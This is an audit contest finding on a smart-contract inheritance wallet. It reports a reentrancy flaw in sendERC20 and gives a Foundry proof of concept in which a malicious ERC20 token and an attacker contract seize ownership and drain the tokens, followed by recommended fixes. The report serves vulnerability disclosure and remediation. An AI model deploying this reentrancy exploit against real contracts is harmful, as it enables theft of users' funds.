Inheritable Smart Contract Wallet
First Flight #35
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

`sendERC20` - reentrancy vulnerability

alekseyts

Summary

A critical reentrancy vulnerability has been identified in the InheritanceManager contract's sendERC20 function. This vulnerability allows an attacker to drain all ERC20 tokens from the contract through a reentrancy attack. Additionally, the attacker can take ownership of the contract due to improper state management.

Vulnerability Details

The vulnerability exists due to three main issues:

  1. ERC20 Reentrancy Attack Vector:

  • State changes (deadline update) occur after the token transfer

  • Improperly implemented reentrancy guard

  • Malicious ERC20 tokens can execute code in their transfer function

  1. Ownership Manipulation:

  • Attacker can gain ownership of the contract

  • Combined with the ERC20 drain vulnerability, this gives complete control to the attacker

  1. Contract Interactions Vulnerability:

  • As noted in the test comments, similar reentrancy issues could affect the contractInteractions function

The test demonstrates this by:

  1. Creating a malicious ERC20 token (BadToken) with a reentrancy hook in its transfer function

  2. Setting up the contract with 100 tokens

  3. Creating an attacker contract (BadGuyErc20Contract)

  4. Waiting for the inheritance period (90 days)

  5. Executing the attack which:

    • Takes ownership of the contract

    • Drains all tokens through reentrancy

Code snippet showing the attack mechanism:

//SPDX-License-Identifier: MIT
​
pragma solidity 0.8.26;
​
import {Test, console} from "forge-std/Test.sol";
import {InheritanceManager} from "../src/InheritanceManager.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";
​
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
​
contract BadGuyErc20Contract {
InheritanceManager im;
address erc20;
​
constructor(address _im, address _erc20) {
im = InheritanceManager(_im);
erc20 = _erc20;
}
​
function attackErc20() public {
uint256 remainingBalance = IERC20(erc20).balanceOf(address(im));
if (remainingBalance >= 1e18) {
im.sendERC20(erc20, 1e18, address(this));
}
}
​
function attackOwnership() public {
im.inherit();
}
​
}
​
contract BadToken is IERC20 {
using SafeERC20 for IERC20;
​
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
​
constructor(address mintTo, uint256 initMint) {
_mint(mintTo, initMint);
}
​
function transfer(address to, uint256 amount) external returns (bool) {
_balances[msg.sender] -= amount;
_balances[to] += amount;
​
// Call receiver's callback - this enables the reentrancy
if (to.code.length > 0) {
BadGuyErc20Contract(to).attackErc20();
}
​
return true;
}
​
// Basic IERC20 implementation
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
​
function allowance(
address owner,
address spender
) external view returns (uint256) {
return _allowances[owner][spender];
}
​
function approve(address spender, uint256 amount) external returns (bool) {
_allowances[msg.sender][spender] = amount;
return true;
}
​
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool) {
require(
_allowances[from][msg.sender] >= amount,
"Insufficient allowance"
);
_allowances[from][msg.sender] -= amount;
_balances[from] -= amount;
_balances[to] += amount;
return true;
}
​
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
​
function _mint(address account, uint256 amount) internal {
_totalSupply += amount;
_balances[account] += amount;
}
}
​
contract InheritanceManagerAuditTest is Test {
InheritanceManager im;
ERC20Mock usdc;
ERC20Mock weth;
​
address owner = makeAddr("owner");
address user1 = makeAddr("user1");
​
function setUp() public {
vm.prank(owner);
im = new InheritanceManager();
usdc = new ERC20Mock();
weth = new ERC20Mock();
}
​
// test reentry sendErc20
// fix: use correct key in 'nonReentrant' modifier
// test about incorrect place of _setDeadline
// fix: move '_setDeadline' above 'IERC20(_tokenAddress).safeTransfer(_to, _amount)'
// test almost same test could be used as reentry for 'contractInteractions'
function test_sendErc20_reentry() public {
address badGuyUser = makeAddr("badGuyUser");
​
uint256 amount = 100e18;
vm.deal(badGuyUser, amount);
​
BadToken bt = new BadToken(address(im), amount);
BadGuyErc20Contract bgtc = new BadGuyErc20Contract(
address(im),
address(bt)
);
​
vm.startPrank(owner);
im.addBeneficiery(user1);
vm.stopPrank();
​
vm.warp(1 + 90 days);
​
assertEq(amount, bt.balanceOf(address(im)));
assertEq(0, bt.balanceOf(address(bgtc)));
​
bgtc.attackOwnership();
assertEq(im.getOwner(), address(bgtc));
​
bgtc.attackErc20();
​
assertEq(0, address(im).balance);
assertEq(amount, bt.balanceOf(address(bgtc)));
}
}
​

Impact

Critical severity. The vulnerability allows:

  • Complete drainage of contract's ERC20 token balances

  • Unauthorized takeover of contract ownership

  • Compromise of the entire inheritance management system

  • Potential exploitation through any ERC20 token interactions

Tools Used

  • Manual code review

  • Foundry test framework

  • Custom test cases with malicious ERC20 token implementation

Recommendations

  1. Implement the Checks-Effects-Interactions pattern:

    • Move all state changes before token transfers

    • Update deadline before safeTransfer calls

  2. Add proper reentrancy protection:

    • Implement OpenZeppelin's ReentrancyGuard

    • Add nonReentrant modifier to all external functions that interact with tokens

    • Use correct reentrancy guard keys as mentioned in test comments

Example fix structure:

import {ReentrancyGuard} from "@openzeppelin/contracts/security/ReentrancyGuard.sol";
​
contract InheritanceManager is ReentrancyGuard {
function sendERC20(
address _tokenAddress,
uint256 _amount,
address _to
) external nonReentrant {
// State changes first
_setDeadline();
// External call last
IERC20(_tokenAddress).safeTransfer(_to, _amount);
}
}

or

modifier nonReentrant() {
assembly {
// a: it should be 0 instead of 1, incorrect key is used
- if tload(1) { revert(0, 0) }
+ if tload(0) { revert(0, 0) }
tstore(0, 1)
}
_;
assembly {
tstore(0, 0)
}
}
Updates

Lead Judging Commences

0xtimefliez Lead Judge 9 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Wrong value in nonReentrant modifier

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!